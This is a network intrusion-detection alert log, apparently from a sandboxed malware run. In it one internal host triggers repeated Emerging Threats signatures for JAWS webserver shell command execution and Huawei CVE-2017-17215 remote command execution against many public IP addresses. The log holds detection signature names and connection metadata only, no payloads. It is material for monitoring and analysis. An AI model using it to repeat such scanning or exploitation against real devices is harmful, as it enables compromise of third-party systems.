ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.193.204.24

Timestamp:	192.168.2.23185.193.204.2437300802030092 03/05/23-19:05:27.370013
SID:	2030092
Source Port:	37300
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.25.181.131

Timestamp:	192.168.2.2352.25.181.13151420802030092 03/05/23-19:06:37.234107
SID:	2030092
Source Port:	51420
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.207.7.135

Timestamp:	192.168.2.2338.207.7.13537468802030092 03/05/23-19:06:43.835873
SID:	2030092
Source Port:	37468
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.244.150.136

Timestamp:	192.168.2.23185.244.150.13653388802030092 03/05/23-19:05:48.762686
SID:	2030092
Source Port:	53388
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.62.245.136

Timestamp:	192.168.2.23194.62.245.13648938802030092 03/05/23-19:06:24.706459
SID:	2030092
Source Port:	48938
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.162.207.225

Timestamp:	192.168.2.23156.162.207.22553070372152835222 03/05/23-19:05:48.037025
SID:	2835222
Source Port:	53070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.53.179.39

Timestamp:	192.168.2.2323.53.179.3959902802030092 03/05/23-19:05:51.238561
SID:	2030092
Source Port:	59902
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.12.19

Timestamp:	192.168.2.23156.224.12.1933754372152835222 03/05/23-19:06:50.997131
SID:	2835222
Source Port:	33754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 188.128.237.217

Timestamp:	192.168.2.23188.128.237.21735212802030092 03/05/23-19:06:46.463819
SID:	2030092
Source Port:	35212
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.198.38.190

Timestamp:	192.168.2.23156.198.38.19038538372152835222 03/05/23-19:06:51.271318
SID:	2835222
Source Port:	38538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 99.84.198.211

Timestamp:	192.168.2.2399.84.198.21153456802030092 03/05/23-19:05:56.099489
SID:	2030092
Source Port:	53456
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 14.190.142.115

Timestamp:	192.168.2.2314.190.142.11552406802030092 03/05/23-19:05:37.157031
SID:	2030092
Source Port:	52406
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.0.140.149

Timestamp:	192.168.2.2323.0.140.14937748802030092 03/05/23-19:06:49.227381
SID:	2030092
Source Port:	37748
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.142.44.50

Timestamp:	192.168.2.2395.142.44.5055962802030092 03/05/23-19:06:50.748419
SID:	2030092
Source Port:	55962
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 60.87.11.141

Timestamp:	192.168.2.2360.87.11.14142746802030092 03/05/23-19:06:26.877052
SID:	2030092
Source Port:	42746
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 87.227.158.254

Timestamp:	192.168.2.2387.227.158.25447428802030092 03/05/23-19:07:08.563125
SID:	2030092
Source Port:	47428
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.150.16.149

Timestamp:	192.168.2.2345.150.16.14933792802030092 03/05/23-19:06:25.095470
SID:	2030092
Source Port:	33792
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.253.8.233

Timestamp:	192.168.2.2347.253.8.23338722802030092 03/05/23-19:06:58.422484
SID:	2030092
Source Port:	38722
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 213.217.11.93

Timestamp:	192.168.2.23213.217.11.9335808802030092 03/05/23-19:06:32.921407
SID:	2030092
Source Port:	35808
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.85.51.20

Timestamp:	192.168.2.2352.85.51.2046188802030092 03/05/23-19:05:27.364977
SID:	2030092
Source Port:	46188
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.199.220.16

Timestamp:	192.168.2.2323.199.220.1657268802030092 03/05/23-19:07:18.804766
SID:	2030092
Source Port:	57268
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.96.138.82

Timestamp:	192.168.2.23172.96.138.8240242802030092 03/05/23-19:05:24.946759
SID:	2030092
Source Port:	40242
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 130.239.6.250

Timestamp:	192.168.2.23130.239.6.25055732802030092 03/05/23-19:06:55.768818
SID:	2030092
Source Port:	55732
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 139.64.4.118

Timestamp:	192.168.2.23139.64.4.11850378802030092 03/05/23-19:07:00.832667
SID:	2030092
Source Port:	50378
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.242.125.61

Timestamp:	192.168.2.23173.242.125.6137694802030092 03/05/23-19:05:45.252491
SID:	2030092
Source Port:	37694
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 200.94.29.154

Timestamp:	192.168.2.23200.94.29.15458742802030092 03/05/23-19:05:24.834013
SID:	2030092
Source Port:	58742
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 197.242.89.50

Timestamp:	192.168.2.23197.242.89.5053182802030092 03/05/23-19:06:20.110950
SID:	2030092
Source Port:	53182
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 84.142.254.141

Timestamp:	192.168.2.2384.142.254.14145412802030092 03/05/23-19:06:40.742325
SID:	2030092
Source Port:	45412
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.196.23.161

Timestamp:	192.168.2.2354.196.23.16141760802030092 03/05/23-19:05:55.931323
SID:	2030092
Source Port:	41760
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 65.175.78.229

Timestamp:	192.168.2.2365.175.78.22957908802030092 03/05/23-19:06:32.950017
SID:	2030092
Source Port:	57908
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.198.78.158

Timestamp:	192.168.2.23156.198.78.15854040372152835222 03/05/23-19:06:17.519764
SID:	2835222
Source Port:	54040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.21.53.232

Timestamp:	192.168.2.23104.21.53.23255428802030092 03/05/23-19:05:36.589931
SID:	2030092
Source Port:	55428
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.80.129.159

Timestamp:	192.168.2.23104.80.129.15935272802030092 03/05/23-19:06:55.967800
SID:	2030092
Source Port:	35272
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.196.244

Timestamp:	192.168.2.23197.193.196.24445298372152835222 03/05/23-19:05:42.077201
SID:	2835222
Source Port:	45298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.143.129.112

Timestamp:	192.168.2.23103.143.129.11235136802030092 03/05/23-19:06:50.821089
SID:	2030092
Source Port:	35136
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 191.61.124.231

Timestamp:	192.168.2.23191.61.124.23157856802030092 03/05/23-19:06:54.190339
SID:	2030092
Source Port:	57856
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.43.235.207

Timestamp:	192.168.2.2345.43.235.20734100802030092 03/05/23-19:05:28.084995
SID:	2030092
Source Port:	34100
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.160.116.203

Timestamp:	192.168.2.2377.160.116.20336748802030092 03/05/23-19:06:32.557092
SID:	2030092
Source Port:	36748
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.229.154.51

Timestamp:	192.168.2.232.229.154.5138946802030092 03/05/23-19:05:39.477265
SID:	2030092
Source Port:	38946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.87.230.31

Timestamp:	192.168.2.23104.87.230.3151494802030092 03/05/23-19:06:43.858774
SID:	2030092
Source Port:	51494
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 147.135.193.239

Timestamp:	192.168.2.23147.135.193.23960008802030092 03/05/23-19:06:09.378656
SID:	2030092
Source Port:	60008
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.146.38.117

Timestamp:	192.168.2.2382.146.38.11748852802030092 03/05/23-19:05:41.810422
SID:	2030092
Source Port:	48852
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.250.107.40

Timestamp:	192.168.2.23185.250.107.4053318802030092 03/05/23-19:06:29.238115
SID:	2030092
Source Port:	53318
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.166.156.230

Timestamp:	192.168.2.23156.166.156.23034416372152835222 03/05/23-19:05:48.036760
SID:	2835222
Source Port:	34416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.86.161.180

Timestamp:	192.168.2.23184.86.161.18053848802030092 03/05/23-19:07:24.476081
SID:	2030092
Source Port:	53848
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.101.174.219

Timestamp:	192.168.2.2395.101.174.21952922802030092 03/05/23-19:05:57.752825
SID:	2030092
Source Port:	52922
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.250.37.101

Timestamp:	192.168.2.23195.250.37.10144948802030092 03/05/23-19:05:39.816608
SID:	2030092
Source Port:	44948
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 14.37.141.91

Timestamp:	192.168.2.2314.37.141.9157638802030092 03/05/23-19:05:28.215331
SID:	2030092
Source Port:	57638
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 157.245.163.201

Timestamp:	192.168.2.23157.245.163.20153092802030092 03/05/23-19:06:14.689138
SID:	2030092
Source Port:	53092
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.160.123.159

Timestamp:	192.168.2.2318.160.123.15949410802030092 03/05/23-19:06:43.801065
SID:	2030092
Source Port:	49410
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.224.214.228

Timestamp:	192.168.2.23104.224.214.22851866802030092 03/05/23-19:06:48.513480
SID:	2030092
Source Port:	51866
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.121.180

Timestamp:	192.168.2.23197.192.121.18043054372152835222 03/05/23-19:06:07.560366
SID:	2835222
Source Port:	43054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 96.88.137.165

Timestamp:	192.168.2.2396.88.137.16560074802030092 03/05/23-19:06:53.525362
SID:	2030092
Source Port:	60074
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.69.134

Timestamp:	192.168.2.23156.163.69.13459378372152835222 03/05/23-19:06:05.424483
SID:	2835222
Source Port:	59378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 92.205.23.134

Timestamp:	192.168.2.2392.205.23.13458472802030092 03/05/23-19:06:35.264554
SID:	2030092
Source Port:	58472
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 80.0.234.61

Timestamp:	192.168.2.2380.0.234.6136006802030092 03/05/23-19:05:33.441089
SID:	2030092
Source Port:	36006
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.154.62.146

Timestamp:	192.168.2.2318.154.62.14640256802030092 03/05/23-19:06:01.958920
SID:	2030092
Source Port:	40256
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 211.233.110.193

Timestamp:	192.168.2.23211.233.110.19340960802030092 03/05/23-19:06:10.392241
SID:	2030092
Source Port:	40960
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.54.213.210

Timestamp:	192.168.2.2323.54.213.21039398802030092 03/05/23-19:05:48.889028
SID:	2030092
Source Port:	39398
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.50.80.178

Timestamp:	192.168.2.23212.50.80.17854440802030092 03/05/23-19:06:48.843825
SID:	2030092
Source Port:	54440
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.15.219

Timestamp:	192.168.2.23156.241.15.21939654372152835222 03/05/23-19:06:28.054201
SID:	2835222
Source Port:	39654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.221.248.85

Timestamp:	192.168.2.2352.221.248.8539120802030092 03/05/23-19:06:51.047859
SID:	2030092
Source Port:	39120
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 72.246.211.13

Timestamp:	192.168.2.2372.246.211.1336352802030092 03/05/23-19:06:05.067477
SID:	2030092
Source Port:	36352
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.98.64

Timestamp:	192.168.2.23156.235.98.6450282372152835222 03/05/23-19:07:05.375393
SID:	2835222
Source Port:	50282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.225.35.18

Timestamp:	192.168.2.2354.225.35.1855588802030092 03/05/23-19:07:24.482956
SID:	2030092
Source Port:	55588
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.147.18

Timestamp:	192.168.2.23197.196.147.1848866372152835222 03/05/23-19:05:37.232794
SID:	2835222
Source Port:	48866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.81.252

Timestamp:	192.168.2.23197.192.81.25256460372152835222 03/05/23-19:06:14.836373
SID:	2835222
Source Port:	56460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.161.70.244

Timestamp:	192.168.2.23185.161.70.24453898802030092 03/05/23-19:05:25.040735
SID:	2030092
Source Port:	53898
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 88.221.106.179

Timestamp:	192.168.2.2388.221.106.17939614802030092 03/05/23-19:06:09.433699
SID:	2030092
Source Port:	39614
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 190.103.114.209

Timestamp:	192.168.2.23190.103.114.20959770802030092 03/05/23-19:05:51.131840
SID:	2030092
Source Port:	59770
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 196.242.47.108

Timestamp:	192.168.2.23196.242.47.10837886802030092 03/05/23-19:06:29.562822
SID:	2030092
Source Port:	37886
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.62.199.157

Timestamp:	192.168.2.2352.62.199.15760568802030092 03/05/23-19:05:40.063276
SID:	2030092
Source Port:	60568
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.66.228.75

Timestamp:	192.168.2.2345.66.228.7557792802030092 03/05/23-19:06:00.267204
SID:	2030092
Source Port:	57792
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 44.228.219.163

Timestamp:	192.168.2.2344.228.219.16336946802030092 03/05/23-19:06:43.820472
SID:	2030092
Source Port:	36946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.51.191.131

Timestamp:	192.168.2.23185.51.191.13147534802030092 03/05/23-19:05:24.704918
SID:	2030092
Source Port:	47534
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.89.195.25

Timestamp:	192.168.2.23104.89.195.2533770802030092 03/05/23-19:07:03.436472
SID:	2030092
Source Port:	33770
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 200.60.67.170

Timestamp:	192.168.2.23200.60.67.17058802802030092 03/05/23-19:07:11.998344
SID:	2030092
Source Port:	58802
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.207.92.29

Timestamp:	192.168.2.2323.207.92.2958312802030092 03/05/23-19:05:25.002624
SID:	2030092
Source Port:	58312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 178.91.226.141

Timestamp:	192.168.2.23178.91.226.14160162802030092 03/05/23-19:06:19.925844
SID:	2030092
Source Port:	60162
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.100.69.22

Timestamp:	192.168.2.2395.100.69.2250866802030092 03/05/23-19:06:04.503292
SID:	2030092
Source Port:	50866
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 164.138.222.233

Timestamp:	192.168.2.23164.138.222.23349204802030092 03/05/23-19:06:40.755200
SID:	2030092
Source Port:	49204
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.201.106.201

Timestamp:	192.168.2.2354.201.106.20145786802030092 03/05/23-19:05:53.048412
SID:	2030092
Source Port:	45786
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.91.190.7

Timestamp:	192.168.2.23103.91.190.734798802030092 03/05/23-19:05:27.473348
SID:	2030092
Source Port:	34798
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 44.202.157.252

Timestamp:	192.168.2.2344.202.157.25247444802030092 03/05/23-19:06:36.896321
SID:	2030092
Source Port:	47444
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.163.151.210

Timestamp:	192.168.2.2389.163.151.21060650802030092 03/05/23-19:06:26.571223
SID:	2030092
Source Port:	60650
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.200.103

Timestamp:	192.168.2.23156.163.200.10341792372152835222 03/05/23-19:07:16.407333
SID:	2835222
Source Port:	41792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.107.10.7

Timestamp:	192.168.2.2389.107.10.735418802030092 03/05/23-19:05:30.806637
SID:	2030092
Source Port:	35418
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.249.167.145

Timestamp:	192.168.2.2345.249.167.14539768802030092 03/05/23-19:06:59.373231
SID:	2030092
Source Port:	39768
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.149.221.89

Timestamp:	192.168.2.23104.149.221.8935304802030092 03/05/23-19:07:25.033935
SID:	2030092
Source Port:	35304
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.46.179

Timestamp:	192.168.2.23156.253.46.17952902372152835222 03/05/23-19:05:44.633710
SID:	2835222
Source Port:	52902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.41.85

Timestamp:	192.168.2.23156.253.41.8560978372152835222 03/05/23-19:05:53.869751
SID:	2835222
Source Port:	60978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.79.45.40

Timestamp:	192.168.2.2351.79.45.4050486802030092 03/05/23-19:06:55.782919
SID:	2030092
Source Port:	50486
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.224.108

Timestamp:	192.168.2.2341.153.224.10858404372152835222 03/05/23-19:06:50.775283
SID:	2835222
Source Port:	58404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 210.5.190.160

Timestamp:	192.168.2.23210.5.190.16043250802030092 03/05/23-19:07:09.100929
SID:	2030092
Source Port:	43250
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.10.9.115

Timestamp:	192.168.2.2323.10.9.11548854802030092 03/05/23-19:05:28.370253
SID:	2030092
Source Port:	48854
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.90.81.84

Timestamp:	192.168.2.23104.90.81.8449300802030092 03/05/23-19:06:07.064918
SID:	2030092
Source Port:	49300
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 208.251.143.75

